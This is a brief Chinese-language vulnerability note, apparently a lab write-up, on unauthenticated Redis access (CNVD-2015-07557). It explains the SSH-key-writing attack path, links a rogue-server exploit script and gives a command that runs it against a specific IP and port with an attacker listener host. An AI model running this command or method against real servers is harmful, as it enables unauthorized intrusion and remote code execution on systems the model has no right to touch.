redis 未授权访问 (CNVD-2015-07557)
描述:
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
利用脚本:https://github.com/n0b0dyCN/redis-rogue-server.git
执行以下命令:python3 redis-rogue-server.py --rhost 123.58.224.8 --rport 36878 --lhost <攻击机ip>


浙公网安备 33010602011771号